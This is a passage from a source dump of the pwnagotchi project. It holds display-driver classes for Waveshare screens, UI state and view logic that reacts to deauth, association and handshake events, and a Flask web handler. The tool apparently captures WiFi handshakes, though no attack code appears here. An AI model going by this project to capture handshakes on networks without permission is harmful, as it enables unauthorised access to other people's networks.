92) self._layout['friend_name'] = (40, 94) self._layout['shakes'] = (0, 109) self._layout['mode'] = (225, 109) self._layout['status'] = { 'pos': (125, 20), 'font': fonts.status_font(fonts.Medium), 'max': 20 } else: fonts.setup(10, 8, 10, 25, 25, 9) self._layout['width'] = 212 self._layout['height'] = 104 self._layout['face'] = (0, 26) self._layout['name'] = (5, 15) self._layout['channel'] = (0, 0) self._layout['aps'] = (28, 0) self._layout['uptime'] = (147, 0) self._layout['line1'] = [0, 12, 212, 12] self._layout['line2'] = [0, 92, 212, 92] self._layout['friend_face'] = (0, 76) self._layout['friend_name'] = (40, 78) self._layout['shakes'] = (0, 93) self._layout['mode'] = (187, 93) self._layout['status'] = { 'pos': (91, 15), 'font': fonts.status_font(fonts.Medium), 'max': 20 } return self._layout def initialize(self): if self.config['color'] == 'black': logging.info("initializing waveshare v1 display in monochromatic mode") from pwnagotchi.ui.hw.libs.waveshare.v1.epd2in13 import EPD self._display = EPD() self._display.init(self._display.lut_full_update) self._display.Clear(0xFF) self._display.init(self._display.lut_partial_update) elif self.config['color'] == 'fastAndFurious': logging.info("initializing waveshare v1 3-color display in FAST MODE") logging.info("THIS MAY BE POTENTIALLY DANGEROUS. NO WARRANTY IS PROVIDED") logging.info("USE THIS DISPLAY IN THIS MODE AT YOUR OWN RISK") from pwnagotchi.ui.hw.libs.waveshare.v1.epd2in13bcFAST import EPD self._display = EPD() self._display.init() self._display.Clear() else: logging.info("initializing waveshare v1 display 3-color mode") from pwnagotchi.ui.hw.libs.waveshare.v1.epd2in13bc import EPD self._display = EPD() self._display.init() self._display.Clear() def render(self, canvas): if self.config['color'] == 'black': buf = self._display.getbuffer(canvas) self._display.display(buf) elif self.config['color'] == 'fastAndFurious': buf_black = self._display.getbuffer(canvas) self._display.DisplayPartial(buf_black) else: buf_black = self._display.getbuffer(canvas) self._display.displayBlack(buf_black) def clear(self): self._display.Clear(0xff) ================================================ FILE: pwnagotchi/ui/hw/waveshare144lcd.py ================================================ import logging import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.hw.base import DisplayImpl class Waveshare144lcd(DisplayImpl): def __init__(self, config): super(Waveshare144lcd, self).__init__(config, 'waveshare144lcd') self._display = None def layout(self): fonts.setup(10, 8, 10, 18, 25, 9) self._layout['width'] = 128 self._layout['height'] = 128 self._layout['face'] = (0, 43) self._layout['name'] = (0, 14) self._layout['channel'] = (0, 0) self._layout['aps'] = (0, 71) self._layout['uptime'] = (0, 25) self._layout['line1'] = [0, 12, 127, 12] self._layout['line2'] = [0, 116, 127, 116] self._layout['friend_face'] = (12, 88) self._layout['friend_name'] = (1, 103) self._layout['shakes'] = (26, 117) self._layout['mode'] = (0, 117) self._layout['status'] = { 'pos': (65, 26), 'font': fonts.status_font(fonts.Small), 'max': 12 } return self._layout def initialize(self): logging.info("initializing waveshare 1.44 inch lcd display") from pwnagotchi.ui.hw.libs.waveshare.lcdhat144.epd import EPD self._display = EPD() self._display.init() self._display.clear() def render(self, canvas): self._display.display(canvas) def clear(self): pass #self._display.clear() ================================================ FILE: pwnagotchi/ui/hw/waveshare154inch.py ================================================ import logging import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.hw.base import DisplayImpl class Waveshare154inch(DisplayImpl): def __init__(self, config): super(Waveshare154inch, self).__init__(config, 'waveshare_1_54inch') self._display = None def layout(self): fonts.setup(10, 9, 10, 35, 25, 9) self._layout['width'] = 200 self._layout['height'] = 200 self._layout['face'] = (0, 40) self._layout['name'] = (5, 20) self._layout['channel'] = (0, 0) self._layout['aps'] = (28, 0) self._layout['uptime'] = (135, 0) self._layout['line1'] = [0, 14, 200, 14] self._layout['line2'] = [0, 186, 200, 186] self._layout['friend_face'] = (0, 92) self._layout['friend_name'] = (40, 94) self._layout['shakes'] = (0, 187) self._layout['mode'] = (170, 187) self._layout['status'] = { 'pos': (5, 90), 'font': fonts.status_font(fonts.Medium), 'max': 20 } return self._layout def initialize(self): logging.info("initializing waveshare v154 display") from pwnagotchi.ui.hw.libs.waveshare.v154inch.epd1in54b import EPD self._display = EPD() self._display.init() self._display.Clear() def render(self, canvas): buf = self._display.getbuffer(canvas) self._display.display(buf, None) def clear(self): pass #self._display.Clear() ================================================ FILE: pwnagotchi/ui/hw/waveshare2.py ================================================ import logging import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.hw.base import DisplayImpl class WaveshareV2(DisplayImpl): def __init__(self, config): super(WaveshareV2, self).__init__(config, 'waveshare_2') self._display = None def layout(self): if self.config['color'] == 'black': fonts.setup(10, 9, 10, 35, 25, 9) self._layout['width'] = 250 self._layout['height'] = 122 self._layout['face'] = (0, 40) self._layout['name'] = (5, 20) self._layout['channel'] = (0, 0) self._layout['aps'] = (28, 0) self._layout['uptime'] = (185, 0) self._layout['line1'] = [0, 14, 250, 14] self._layout['line2'] = [0, 108, 250, 108] self._layout['friend_face'] = (0, 92) self._layout['friend_name'] = (40, 94) self._layout['shakes'] = (0, 109) self._layout['mode'] = (225, 109) self._layout['status'] = { 'pos': (125, 20), 'font': fonts.status_font(fonts.Medium), 'max': 20 } else: fonts.setup(10, 8, 10, 25, 25, 9) self._layout['width'] = 212 self._layout['height'] = 104 self._layout['face'] = (0, 26) self._layout['name'] = (5, 15) self._layout['channel'] = (0, 0) self._layout['aps'] = (28, 0) self._layout['status'] = (91, 15) self._layout['uptime'] = (147, 0) self._layout['line1'] = [0, 12, 212, 12] self._layout['line2'] = [0, 92, 212, 92] self._layout['friend_face'] = (0, 76) self._layout['friend_name'] = (40, 78) self._layout['shakes'] = (0, 93) self._layout['mode'] = (187, 93) self._layout['status'] = { 'pos': (125, 20), 'font': fonts.status_font(fonts.Medium), 'max': 14 } return self._layout def initialize(self): logging.info("initializing waveshare v2 display") from pwnagotchi.ui.hw.libs.waveshare.v2.waveshare import EPD self._display = EPD() self._display.init(self._display.FULL_UPDATE) self._display.Clear(0xff) self._display.init(self._display.PART_UPDATE) def render(self, canvas): buf = self._display.getbuffer(canvas) self._display.displayPartial(buf) def clear(self): self._display.Clear(0xff) ================================================ FILE: pwnagotchi/ui/hw/waveshare213bc.py ================================================ import logging import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.hw.base import DisplayImpl class Waveshare213bc(DisplayImpl): def __init__(self, config): super(Waveshare213bc, self).__init__(config, 'waveshare213bc') self._display = None def layout(self): fonts.setup(10, 8, 10, 25, 25, 9) self._layout['width'] = 212 self._layout['height'] = 104 self._layout['face'] = (0, 26) self._layout['name'] = (5, 15) self._layout['channel'] = (0, 0) self._layout['aps'] = (28, 0) self._layout['uptime'] = (147, 0) self._layout['line1'] = [0, 12, 212, 12] self._layout['line2'] = [0, 92, 212, 92] self._layout['friend_face'] = (0, 76) self._layout['friend_name'] = (40, 78) self._layout['shakes'] = (0, 93) self._layout['mode'] = (187, 93) self._layout['status'] = { 'pos': (91, 15), 'font': fonts.status_font(fonts.Medium), 'max': 20 } return self._layout def initialize(self): logging.info("initializing waveshare 213bc display") from pwnagotchi.ui.hw.libs.waveshare.v213bc.epd2in13bc import EPD self._display = EPD() self._display.init() self._display.Clear() def render(self, canvas): buf = self._display.getbuffer(canvas) self._display.pwndisplay(buf) def clear(self): #pass self._display.pwnclear() ================================================ FILE: pwnagotchi/ui/hw/waveshare213d.py ================================================ import logging import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.hw.base import DisplayImpl class Waveshare213d(DisplayImpl): def __init__(self, config): super(Waveshare213d, self).__init__(config, 'waveshare213d') self._display = None def layout(self): fonts.setup(10, 8, 10, 25, 25, 9) self._layout['width'] = 212 self._layout['height'] = 104 self._layout['face'] = (0, 26) self._layout['name'] = (5, 15) self._layout['channel'] = (0, 0) self._layout['aps'] = (28, 0) self._layout['uptime'] = (147, 0) self._layout['line1'] = [0, 12, 212, 12] self._layout['line2'] = [0, 92, 212, 92] self._layout['friend_face'] = (0, 76) self._layout['friend_name'] = (40, 78) self._layout['shakes'] = (0, 93) self._layout['mode'] = (187, 93) self._layout['status'] = { 'pos': (91, 15), 'font': fonts.status_font(fonts.Medium), 'max': 20 } return self._layout def initialize(self): logging.info("initializing waveshare 213d display") from pwnagotchi.ui.hw.libs.waveshare.v213d.epd2in13d import EPD self._display = EPD() self._display.init() self._display.Clear() def render(self, canvas): buf = self._display.getbuffer(canvas) self._display.display(buf) def clear(self): #pass self._display.Clear() ================================================ FILE: pwnagotchi/ui/hw/waveshare213inb_v4.py ================================================ import logging import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.hw.base import DisplayImpl from PIL import Image class Waveshare213bV4(DisplayImpl): def __init__(self, config): super(Waveshare213bV4, self).__init__(config, 'waveshare213inb_v4') self._display = None def layout(self): if self.config['color'] == 'black': fonts.setup(10, 9, 10, 35, 25, 9) self._layout['width'] = 250 self._layout['height'] = 122 self._layout['face'] = (0, 40) self._layout['name'] = (5, 20) self._layout['channel'] = (0, 0) self._layout['aps'] = (28, 0) self._layout['uptime'] = (185, 0) self._layout['line1'] = [0, 14, 250, 14] self._layout['line2'] = [0, 108, 250, 108] self._layout['friend_face'] = (0, 92) self._layout['friend_name'] = (40, 94) self._layout['shakes'] = (0, 109) self._layout['mode'] = (225, 109) self._layout['status'] = { 'pos': (125, 20), 'font': fonts.status_font(fonts.Medium), 'max': 20 } else: fonts.setup(10, 8, 10, 25, 25, 9) self._layout['width'] = 212 self._layout['height'] = 104 self._layout['face'] = (0, 26) self._layout['name'] = (5, 15) self._layout['channel'] = (0, 0) self._layout['aps'] = (28, 0) self._layout['status'] = (91, 15) self._layout['uptime'] = (147, 0) self._layout['line1'] = [0, 12, 212, 12] self._layout['line2'] = [0, 92, 212, 92] self._layout['friend_face'] = (0, 76) self._layout['friend_name'] = (40, 78) self._layout['shakes'] = (0, 93) self._layout['mode'] = (187, 93) self._layout['status'] = { 'pos': (125, 20), 'font': fonts.status_font(fonts.Medium), 'max': 14 } return self._layout def initialize(self): logging.info("initializing waveshare 2.13inb v4 display") from pwnagotchi.ui.hw.libs.waveshare.v213inb_v4.epd2in13b_V4 import EPD self._display = EPD() self._display.init() self._display.Clear() def render(self, canvasBlack = None, canvasRed = None): buffer = self._display.getbuffer image = Image.new('1', (self._layout['height'], self._layout['width'])) imageBlack = image if canvasBlack is None else canvasBlack imageRed = image if canvasRed is None else canvasRed self._display.display(buffer(imageBlack), buffer(imageRed)) def clear(self): self._display.Clear() ================================================ FILE: pwnagotchi/ui/hw/waveshare27inch.py ================================================ import logging import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.hw.base import DisplayImpl class Waveshare27inch(DisplayImpl): def __init__(self, config): super(Waveshare27inch, self).__init__(config, 'waveshare27inch') self._display = None def layout(self): fonts.setup(10, 9, 10, 35, 25, 9) self._layout['width'] = 264 self._layout['height'] = 176 self._layout['face'] = (66, 27) self._layout['name'] = (5, 73) self._layout['channel'] = (0, 0) self._layout['aps'] = (28, 0) self._layout['uptime'] = (199, 0) self._layout['line1'] = [0, 14, 264, 14] self._layout['line2'] = [0, 162, 264, 162] self._layout['friend_face'] = (0, 146) self._layout['friend_name'] = (40, 146) self._layout['shakes'] = (0, 163) self._layout['mode'] = (239, 163) self._layout['status'] = { 'pos': (38, 93), 'font': fonts.status_font(fonts.Medium), 'max': 40 } return self._layout def initialize(self): logging.info("initializing waveshare v1 2.7 inch display") from pwnagotchi.ui.hw.libs.waveshare.v27inch.epd2in7 import EPD self._display = EPD() self._display.init() self._display.Clear(0xFF) def render(self, canvas): buf = self._display.getbuffer(canvas) self._display.display(buf) def clear(self): self._display.Clear(0xff) ================================================ FILE: pwnagotchi/ui/hw/waveshare29inch.py ================================================ import logging import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.hw.base import DisplayImpl class Waveshare29inch(DisplayImpl): def __init__(self, config): super(Waveshare29inch, self).__init__(config, 'waveshare_29inch') self._display = None def layout(self): fonts.setup(10, 9, 10, 35, 25, 9) self._layout['width'] = 296 self._layout['height'] = 128 self._layout['face'] = (0, 40) self._layout['name'] = (5, 25) self._layout['channel'] = (0, 0) self._layout['aps'] = (28, 0) self._layout['uptime'] = (230, 0) self._layout['line1'] = [0, 14, 296, 14] self._layout['line2'] = [0, 112, 296, 112] self._layout['friend_face'] = (0, 96) self._layout['friend_name'] = (40, 96) self._layout['shakes'] = (0, 114) self._layout['mode'] = (268, 114) self._layout['status'] = { 'pos': (130, 25), 'font': fonts.status_font(fonts.Medium), 'max': 28 } return self._layout def initialize(self): logging.info("initializing waveshare v1 2.9 inch display") from pwnagotchi.ui.hw.libs.waveshare.v29inch.epd2in9 import EPD self._display = EPD() self._display.init(self._display.lut_full_update) self._display.Clear(0xFF) self._display.init(self._display.lut_partial_update) def render(self, canvas): buf = self._display.getbuffer(canvas) self._display.display(buf) def clear(self): self._display.Clear(0xFF) ================================================ FILE: pwnagotchi/ui/hw/waveshare3.py ================================================ import logging import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.hw.base import DisplayImpl class WaveshareV3(DisplayImpl): def __init__(self, config): super(WaveshareV3, self).__init__(config, 'waveshare_3') self._display = None def layout(self): fonts.setup(10, 8, 10, 35, 25, 9) self._layout['width'] = 250 self._layout['height'] = 122 self._layout['face'] = (0, 40) self._layout['name'] = (5, 20) self._layout['channel'] = (0, 0) self._layout['aps'] = (28, 0) self._layout['uptime'] = (185, 0) self._layout['line1'] = [0, 14, 250, 14] self._layout['line2'] = [0, 108, 250, 108] self._layout['friend_face'] = (0, 92) self._layout['friend_name'] = (40, 94) self._layout['shakes'] = (0, 109) self._layout['mode'] = (225, 109) self._layout['status'] = { 'pos': (125, 20), 'font': fonts.status_font(fonts.Medium), 'max': 20 } return self._layout def initialize(self): logging.info("initializing waveshare v3 display") from pwnagotchi.ui.hw.libs.waveshare.v3.epd2in13_V3 import EPD self._display = EPD() self._display.init() self._display.Clear(0xFF) def render(self, canvas): buf = self._display.getbuffer(canvas) self._display.displayPartial(buf) def clear(self): #pass self._display.Clear(0xFF) ================================================ FILE: pwnagotchi/ui/hw/waveshare35lcd.py ================================================ import logging import pwnagotchi.ui.fonts as fonts from pwnagotchi.ui.hw.base import DisplayImpl import os,time class Waveshare35lcd(DisplayImpl): def __init__(self, config): super(Waveshare35lcd, self).__init__(config, 'waveshare35lcd') self._display = None def layout(self): fonts.setup(12, 10, 12, 70, 25, 9) self._layout['width'] = 480 self._layout['height'] = 320 self._layout['face'] = (110, 60) self._layout['name'] = (10, 30) self._layout['channel'] = (0, 0) self._layout['aps'] = (80, 0) self._layout['uptime'] = (400, 0) self._layout['line1'] = [0, 14, 480, 14] self._layout['line2'] = [0,300, 480, 300] self._layout['friend_face'] = (0, 220) self._layout['friend_name'] = (50, 225) self._layout['shakes'] = (10, 300) self._layout['mode'] = (440, 300) self._layout['status'] = { 'pos': (80, 180), 'font': fonts.status_font(fonts.Medium), 'max': 100 } return self._layout def refresh(self): time.sleep(0.1) def initialize(self): from pwnagotchi.ui.hw.libs.fb import fb self._display = fb logging.info("initializing waveshare 3,5inch lcd display") self._display.ready_fb(i=1) self._display.black_scr() def render(self, canvas): self._display.show_img(canvas.rotate(0)) self.refresh() def clear(self): self._display.black_scr() self.refresh() ================================================ FILE: pwnagotchi/ui/state.py ================================================ from threading import Lock class State(object): def __init__(self, state={}): self._state = state self._lock = Lock() self._listeners = {} self._changes = {} def add_element(self, key, elem): self._state[key] = elem self._changes[key] = True def has_element(self, key): return key in self._state def remove_element(self, key): del self._state[key] self._changes[key] = True def add_listener(self, key, cb): with self._lock: self._listeners[key] = cb def items(self): with self._lock: return self._state.items() def get(self, key): with self._lock: return self._state[key].value if key in self._state else None def reset(self): with self._lock: self._changes = {} def changes(self, ignore=()): with self._lock: changes = [] for change in self._changes.keys(): if change not in ignore: changes.append(change) return changes def has_changes(self): with self._lock: return len(self._changes) > 0 def set(self, key, value): with self._lock: if key in self._state: prev = self._state[key].value self._state[key].value = value if prev != value: self._changes[key] = True if key in self._listeners and self._listeners[key] is not None: self._listeners[key](prev, value) ================================================ FILE: pwnagotchi/ui/view.py ================================================ import _thread import logging import random import time from threading import Lock from PIL import ImageDraw import pwnagotchi import pwnagotchi.plugins as plugins import pwnagotchi.ui.faces as faces import pwnagotchi.ui.fonts as fonts import pwnagotchi.ui.web as web import pwnagotchi.utils as utils from pwnagotchi.ui.components import * from pwnagotchi.ui.state import State from pwnagotchi.voice import Voice WHITE = 0xff BLACK = 0x00 ROOT = None class View(object): def __init__(self, config, impl, state=None): global ROOT # setup faces from the configuration in case the user customized them faces.load_from_config(config['ui']['faces']) self._agent = None self._render_cbs = [] self._config = config self._canvas = None self._frozen = False self._lock = Lock() self._voice = Voice(lang=config['main']['lang']) self._implementation = impl self._layout = impl.layout() self._width = self._layout['width'] self._height = self._layout['height'] self._state = State(state={ 'channel': LabeledValue(color=BLACK, label='CH', value='00', position=self._layout['channel'], label_font=fonts.Bold, text_font=fonts.Medium), 'aps': LabeledValue(color=BLACK, label='APS', value='0 (00)', position=self._layout['aps'], label_font=fonts.Bold, text_font=fonts.Medium), 'uptime': LabeledValue(color=BLACK, label='UP', value='00:00:00', position=self._layout['uptime'], label_font=fonts.Bold, text_font=fonts.Medium), 'line1': Line(self._layout['line1'], color=BLACK), 'line2': Line(self._layout['line2'], color=BLACK), 'face': Text(value=faces.SLEEP, position=self._layout['face'], color=BLACK, font=fonts.Huge), 'friend_face': Text(value=None, position=self._layout['friend_face'], font=fonts.Bold, color=BLACK), 'friend_name': Text(value=None, position=self._layout['friend_name'], font=fonts.BoldSmall, color=BLACK), 'name': Text(value='%s>' % 'pwnagotchi', position=self._layout['name'], color=BLACK, font=fonts.Bold), 'status': Text(value=self._voice.default(), position=self._layout['status']['pos'], color=BLACK, font=self._layout['status']['font'], wrap=True, # the current maximum number of characters per line, assuming each character is 6 pixels wide max_length=self._layout['status']['max']), 'shakes': LabeledValue(label='PWND ', value='0 (00)', color=BLACK, position=self._layout['shakes'], label_font=fonts.Bold, text_font=fonts.Medium), 'mode': Text(value='AUTO', position=self._layout['mode'], font=fonts.Bold, color=BLACK), }) if state: for key, value in state.items(): self._state.set(key, value) plugins.on('ui_setup', self) if config['ui']['fps'] > 0.0: _thread.start_new_thread(self._refresh_handler, ()) self._ignore_changes = () else: logging.warning("ui.fps is 0, the display will only update for major changes") self._ignore_changes = ('uptime', 'name') ROOT = self def set_agent(self, agent): self._agent = agent def has_element(self, key): self._state.has_element(key) def add_element(self, key, elem): self._state.add_element(key, elem) def remove_element(self, key): self._state.remove_element(key) def width(self): return self._width def height(self): return self._height def on_state_change(self, key, cb): self._state.add_listener(key, cb) def on_render(self, cb): if cb not in self._render_cbs: self._render_cbs.append(cb) def _refresh_handler(self): delay = 1.0 / self._config['ui']['fps'] while True: try: name = self._state.get('name') self.set('name', name.rstrip('█').strip() if '█' in name else (name + ' █')) self.update() except Exception as e: logging.warning("non fatal error while updating view: %s" % e) time.sleep(delay) def set(self, key, value): self._state.set(key, value) def get(self, key): return self._state.get(key) def on_starting(self): self.set('status', self._voice.on_starting() + ("\n(v%s)" % pwnagotchi.__version__)) self.set('face', faces.AWAKE) self.update() def on_ai_ready(self): self.set('mode', ' AI') self.set('face', faces.HAPPY) self.set('status', self._voice.on_ai_ready()) self.update() def on_manual_mode(self, last_session): self.set('mode', 'MANU') self.set('face', faces.SAD if (last_session.epochs > 3 and last_session.handshakes == 0) else faces.HAPPY) self.set('status', self._voice.on_last_session_data(last_session)) self.set('epoch', "%04d" % last_session.epochs) self.set('uptime', last_session.duration) self.set('channel', '-') self.set('aps', "%d" % last_session.associated) self.set('shakes', '%d (%s)' % (last_session.handshakes, \ utils.total_unique_handshakes(self._config['bettercap']['handshakes']))) self.set_closest_peer(last_session.last_peer, last_session.peers) self.update() def is_normal(self): return self._state.get('face') not in ( faces.INTENSE, faces.COOL, faces.BORED, faces.HAPPY, faces.EXCITED, faces.MOTIVATED, faces.DEMOTIVATED, faces.SMART, faces.SAD, faces.LONELY) def on_keys_generation(self): self.set('face', faces.AWAKE) self.set('status', self._voice.on_keys_generation()) self.update() def on_normal(self): self.set('face', faces.AWAKE) self.set('status', self._voice.on_normal()) self.update() def set_closest_peer(self, peer, num_total): if peer is None: self.set('friend_face', None) self.set('friend_name', None) else: # ref. https://www.metageek.com/training/resources/understanding-rssi-2.html if peer.rssi >= -67: num_bars = 4 elif peer.rssi >= -70: num_bars = 3 elif peer.rssi >= -80: num_bars = 2 else: num_bars = 1 name = '▌' * num_bars name += '│' * (4 - num_bars) name += ' %s %d (%d)' % (peer.name(), peer.pwnd_run(), peer.pwnd_total()) if num_total > 1: if num_total > 9000: name += ' of over 9000' else: name += ' of %d' % num_total self.set('friend_face', peer.face()) self.set('friend_name', name) self.update() def on_new_peer(self, peer): face = '' # first time they met, neutral mood if peer.first_encounter(): face = random.choice((faces.AWAKE, faces.COOL)) # a good friend, positive expression elif peer.is_good_friend(self._config): face = random.choice((faces.MOTIVATED, faces.FRIEND, faces.HAPPY)) # normal friend, neutral-positive else: face = random.choice((faces.EXCITED, faces.HAPPY, faces.SMART)) self.set('face', face) self.set('status', self._voice.on_new_peer(peer)) self.update() time.sleep(3) def on_lost_peer(self, peer): self.set('face', faces.LONELY) self.set('status', self._voice.on_lost_peer(peer)) self.update() def on_free_channel(self, channel): self.set('face', faces.SMART) self.set('status', self._voice.on_free_channel(channel)) self.update() def on_reading_logs(self, lines_so_far=0): self.set('face', faces.SMART) self.set('status', self._voice.on_reading_logs(lines_so_far)) self.update() def wait(self, secs, sleeping=True): was_normal = self.is_normal() part = secs / 10.0 for step in range(0, 10): # if we weren't in a normal state before going # to sleep, keep that face and status on for # a while, otherwise the sleep animation will # always override any minor state change before it if was_normal or step > 5: if sleeping: if secs > 1: self.set('face', faces.SLEEP) self.set('status', self._voice.on_napping(int(secs))) else: self.set('face', faces.SLEEP2) self.set('status', self._voice.on_awakening()) else: self.set('status', self._voice.on_waiting(int(secs))) good_mood = self._agent.in_good_mood() if step % 2 == 0: self.set('face', faces.LOOK_R_HAPPY if good_mood else faces.LOOK_R) else: self.set('face', faces.LOOK_L_HAPPY if good_mood else faces.LOOK_L) time.sleep(part) secs -= part self.on_normal() def on_shutdown(self): self.set('face', faces.SLEEP) self.set('status', self._voice.on_shutdown()) self.update(force=True) self._frozen = True def on_bored(self): self.set('face', faces.BORED) self.set('status', self._voice.on_bored()) self.update() def on_sad(self): self.set('face', faces.SAD) self.set('status', self._voice.on_sad()) self.update() def on_angry(self): self.set('face', faces.ANGRY) self.set('status', self._voice.on_angry()) self.update() def on_motivated(self, reward): self.set('face', faces.MOTIVATED) self.set('status', self._voice.on_motivated(reward)) self.update() def on_demotivated(self, reward): self.set('face', faces.DEMOTIVATED) self.set('status', self._voice.on_demotivated(reward)) self.update() def on_excited(self): self.set('face', faces.EXCITED) self.set('status', self._voice.on_excited()) self.update() def on_assoc(self, ap): self.set('face', faces.INTENSE) self.set('status', self._voice.on_assoc(ap)) self.update() def on_deauth(self, sta): self.set('face', faces.COOL) self.set('status', self._voice.on_deauth(sta)) self.update() def on_miss(self, who): self.set('face', faces.SAD) self.set('status', self._voice.on_miss(who)) self.update() def on_grateful(self): self.set('face', faces.GRATEFUL) self.set('status', self._voice.on_grateful()) self.update() def on_lonely(self): self.set('face', faces.LONELY) self.set('status', self._voice.on_lonely()) self.update() def on_handshakes(self, new_shakes): self.set('face', faces.HAPPY) self.set('status', self._voice.on_handshakes(new_shakes)) self.update() def on_unread_messages(self, count, total): self.set('face', faces.EXCITED) self.set('status', self._voice.on_unread_messages(count, total)) self.update() time.sleep(5.0) def on_uploading(self, to): self.set('face', random.choice((faces.UPLOAD, faces.UPLOAD1, faces.UPLOAD2))) self.set('status', self._voice.on_uploading(to)) self.update(force=True) def on_rebooting(self): self.set('face', faces.BROKEN) self.set('status', self._voice.on_rebooting()) self.update() def on_custom(self, text): self.set('face', faces.DEBUG) self.set('status', self._voice.custom(text)) self.update() def update(self, force=False, new_data={}): for key, val in new_data.items(): self.set(key, val) with self._lock: if self._frozen: return state = self._state changes = state.changes(ignore=self._ignore_changes) if force or len(changes): self._canvas = Image.new('1', (self._width, self._height), WHITE) drawer = ImageDraw.Draw(self._canvas) plugins.on('ui_update', self) for key, lv in state.items(): lv.draw(self._canvas, drawer) web.update_frame(self._canvas) for cb in self._render_cbs: cb(self._canvas) self._state.reset() ================================================ FILE: pwnagotchi/ui/web/__init__.py ================================================ import os from threading import Lock frame_path = '/var/tmp/pwnagotchi/pwnagotchi.png' frame_format = 'PNG' frame_ctype = 'image/png' frame_lock = Lock() def update_frame(img): global frame_lock, frame_path, frame_format if not os.path.exists(os.path.dirname(frame_path)): os.makedirs(os.path.dirname(frame_path)) with frame_lock: img.save(frame_path, format=frame_format) ================================================ FILE: pwnagotchi/ui/web/handler.py ================================================ import logging import os import base64 import _thread import secrets import json from functools import wraps # https://stackoverflow.com/questions/14888799/disable-console-messages-in-flask-server logging.getLogger('werkzeug').setLevel(logging.ERROR) os.environ['WERKZEUG_RUN_MAIN'] = 'true' import pwnagotchi import pwnagotchi.grid as grid import pwnagotchi.ui.web as web from pwnagotchi import plugins from flask import send_file from flask import Response from flask import request from flask import jsonify from flask import abort from flask import redirect from flask import render_template, render_template_string class Handler: def __init__(self, config, agent, app): self._config = config self._agent = agent self._app = app self._app.add_url_rule('/', 'index', self.with_auth(self.index)) self._app.add_url_rule('/ui', 'ui', self.with_auth(self.ui)) self._app.add_url_rule('/shutdown', 'shutdown', self.with_auth(self.shutdown), methods=['POST']) self._app.add_url_rule('/reboot', 'reboot', self.with_auth(self.reboot), methods=['POST']) self._app.add_url_rule('/restart', 'restart', self.with_auth(self.restart), methods=['POST']) # inbox self._app.add_url_rule('/inbox', 'inbox', self.with_auth(self.inbox)) self._app.add_url_rule('/inbox/profile', 'inbox_profile', self.with_auth(self.inbox_profile)) self._app.add_url_rule('/inbox/peers', 'inbox_peers', self.with_auth(self.inbox_peers)) self._app.add_url_rule('/inbox/', 'show_message', self.with_auth(self.show_message)) self._app.add_url_rule('/inbox//', 'mark_message', self.with_auth(self.mark_message)) self._app.add_url_rule('/inbox/new', 'new_message', self.with_auth(self.new_message)) self._app.add_url_rule('/inbox/send', 'send_message', self.with_auth(self.send_message), methods=['POST']) # plugins plugins_with_auth = self.with_auth(self.plugins) self._app.add_url_rule('/plugins', 'plugins', plugins_with_auth, strict_slashes=False, defaults={'name': None, 'subpath': None}) self._app.add_url_rule('/plugins/', 'plugins', plugins_with_auth, strict_slashes=False, methods=['GET', 'POST'], defaults={'subpath': None}) self._app.add_url_rule('/plugins//', 'plugins', plugins_with_auth, methods=['GET', 'POST']) def _check_creds(self, u, p): # trying to be timing attack safe return secrets.compare_digest(u, self._config['username']) and \ secrets.compare_digest(p, self._config['password']) def with_auth(self, f): @wraps(f) def wrapper(*args, **kwargs): auth = request.authorization if not auth or not auth.username or not auth.password or not self._check_creds(auth.username, auth.password): return Response('Unauthorized', 401, {'WWW-Authenticate': 'Basic realm="Unauthorized"'}) return f(*args, **kwargs) return wrapper def index(self): return render_template('index.html', title=pwnagotchi.name(), other_mode='AUTO' if self._agent.mode == 'manual' else 'MANU', fingerprint=self._agent.fingerprint()) def inbox(self): page = request.args.get("p", default=1, type=int) inbox = { "pages": 1, "records": 0, "messages": [] } error = None try: if not grid.is_connected(): raise Exception('not connected') inbox = grid.inbox(page, with_pager=True) except Exception as e: logging.exception('error while reading pwnmail inbox') error = str(e) return render_template('inbox.html', name=pwnagotchi.name(), page=page, error=error, inbox=inbox) def inbox_profile(self): data = {} error = None try: data = grid.get_advertisement_data() except Exception as e: logging.exception('error while reading pwngrid data') error = str(e) return render_template('profile.html', name=pwnagotchi.name(), fingerprint=self._agent.fingerprint(), data=json.dumps(data, indent=2), error=error) def inbox_peers(self): peers = {} error = None try: peers = grid.memory() except Exception as e: logging.exception('error while reading pwngrid peers') error = str(e) return render_template('peers.html', name=pwnagotchi.name(), peers=peers, error=error) def show_message(self, id): message = {} error = None try: if not grid.is_connected(): raise Exception('not connected') message = grid.inbox_message(id) if message['data']: message['data'] = base64.b64decode(message['data']).decode("utf-8") except Exception as e: logging.exception('error while reading pwnmail message %d' % int(id)) error = str(e) return render_template('message.html', name=pwnagotchi.name(), error=error, message=message) def new_message(self): to = request.args.get("to", default="") return render_template('new_message.html', to=to) def send_message(self): to = request.form["to"] message = request.form["message"] error = None try: if not grid.is_connected(): raise Exception('not connected') grid.send_message(to, message) except Exception as e: error = str(e) return jsonify({"error": error}) def mark_message(self, id, mark): if not grid.is_connected(): abort(200) logging.info("marking message %d as %s" % (int(id), mark)) grid.mark_message(id, mark) return redirect("/inbox") def plugins(self, name, subpath): if name is None: return render_template('plugins.html', loaded=plugins.loaded, database=plugins.database) if name == 'toggle' and request.method == 'POST': checked = True if 'enabled' in request.form else False return 'success' if plugins.toggle_plugin(request.form['plugin'], checked) else 'failed' if name in plugins.loaded and plugins.loaded[name] is not None and hasattr(plugins.loaded[name], 'on_webhook'): try: return plugins.loaded[name].on_webhook(subpath, request) except Exception: abort(500) else: abort(404) # serve a message and shuts down the unit def shutdown(self): try: return render_template('status.html', title=pwnagotchi.name(), go_back_after=60, message='Shutting down ...') finally: _thread.start_new_thread(pwnagotchi.shutdown, ()) # serve a message and reboot the unit def reboot(self): try: return render_template('status.html', title=pwnagotchi.name(), go_back_after=60, message='Rebooting ...') finally: _thread.start_new_thread(pwnagotchi.reboot, ()) # serve a message and restart the unit in the other mode def restart(self): mode = request.form['mode'] if mode not in ('AUTO', 'MANU'): mode = 'MANU' try: return render_template('status.html', title=pwnagotchi.name(), go_back_after=30, message='Restarting in %s mode ...' % mode) finally: _thread.start_new_thread(pwnagotchi.restart, (mode,)) # serve the PNG file with the display image def 